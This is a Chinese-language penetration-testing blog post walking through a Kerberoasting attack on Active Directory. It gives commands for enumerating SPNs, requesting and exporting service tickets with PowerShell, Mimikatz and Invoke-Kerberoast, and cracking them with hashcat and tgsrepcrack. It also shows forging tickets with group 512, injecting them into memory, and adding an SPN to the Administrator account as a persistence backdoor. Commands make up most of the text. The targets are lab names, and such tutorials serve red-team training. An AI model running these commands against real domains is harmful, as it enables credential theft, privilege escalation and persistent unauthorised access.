域渗透-Kerberoasting Attack
? Windows ? ? AD ? ? SPN ? ? Persistence ?    1693    0    0

一、概述

        黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。

 

二、Kerberoasting攻击流程

    1. 发现服务主体名称(SPN)
    2. 请求服务票据
    3. 导出服务票据
    4. 破解服务票据
    5. 重写服务票据&RAM注入

 

三、请求服务票据

    1. Powershell

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"

批量请求所有的SPN:

Add-Type -AssemblyName System.IdentityModel  
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } 

 

    2. Mimikatz

mimikatz.exe "kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"

 

    3. GetUserSPNs

python GetUserSPNs.py -request pentestlab.local/test

PS:该工具支持提供域用户凭证从非域成员机器请求票据

 

四、查看票据是否申请成功

    1. klist 

PS:klist purge 清空所有票据缓存

    2. Mimikatz

mimikatz.exe "kerberos::list"

    3. MSF

load kiwi
kerberos_ticket_list
kiwi_cmd kerberos::list

 

    4. RiskySPN

        该脚本可以自动识别包含弱密码的票据,并且提供的信息比较详细,包括组信息,密码有效期等

Find-PotentiallyCrackableAccounts -FullData -Verbose

 

Find-PotentiallyCrackableAccounts -Domain "pentestlab.local"

Export-PotentiallyCrackableAccounts # 导出csv格式

 

  PS:选择Kerberos服务票证是弱密码的,容易破解,可以通过下列因素来确定:
    (1)SPNs绑定到域用户账户
    (2)最后一次密码设置(Password last set)
    (3)密码过期时间
    (4)最后一次登录(Last logon)
    (5)加密方式(TGT支持AES256,AES128,RC4-HMAC和3DES等加密方式,其中RC4_HMAC_MD5可破解)

 

五、导出服务票据

    1. Mimikatz

mimikatz.exe "standard::base64" "kerberos::list /export" # 将内容base64输出保存

    2. kerberoast

Invoke-AutoKerberoast
Invoke-AutoKerberoast -GroupName "Domain Admins"
Invoke-AutoKerberoast -Domain dev.testlab.local
Invoke-AutoKerberoast -SPN MSSQLSvc/sqlBox.testlab.local:1433
Invoke-AutoKerberoast -DomainController 172.20.200.100 

    3. Get-TGSCipher

        Get-TGSCipher可以以三种不同的格式提取服务票据的密码哈希值:John,Hashcat和Kerberoast,输出到命令行

Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80" -Format John
Get-TGSCipher -SPN "HTTP/WebServer.lab.com" -Format Hashcat 

    4. Invoke-Kerberoast.ps1

Invoke-Kerberoast  -OutputFormat Hashcat 

直接提取hash

Invoke-Kerberoast  -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

 

六、破解服务票据

    1. tgsrepcrack.py

python tgsrepcrack.py /root/passwd.txt PENTESTLAB_001.kirbi

 

    2. tgscrack

python extractServiceTicketParts.py PENTESTLAB_001.kirbi > hash.txt # 在TGS_REP消息中提取加密的服务票证部分
tgscrack.exe -hashfile hash.txt -wordlist passwords.txt # 破解

    3. hashcat

hashcat -m 13100 hash.txt passwd.txt -o found.txt --force

在测试的过程中发现上述破解成功的并不是真正的密码,在found.txt中的密码才是正确的,原因不详

 

七、重写服务票据&RAM注入

        Kerberos票据使用密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务将被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。

python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
mimikatz.exe kerberos::ptt PENTESTLAB.kirbi # 将新生成的票据注入内存

 

八、后门利用

        在获取SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过破解后获得明文口令。例如为域用户Administrator添加SPN VNC/DC1.test.com,参数如下:

setspn.exe -U -A VNC/DC1.test.com Administrator

在域内任意一台主机都能获得该SPN,并且能够使用Kerberoast获得TGS,在通过hashcat破解即可。

 

参考连接:

https://www.freebuf.com/articles/system/174967.html
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting/

 

觉得不错,点个赞?
Sign in to leave a comment.
No Leanote account ? Sign up now.
0 条评论
文章目录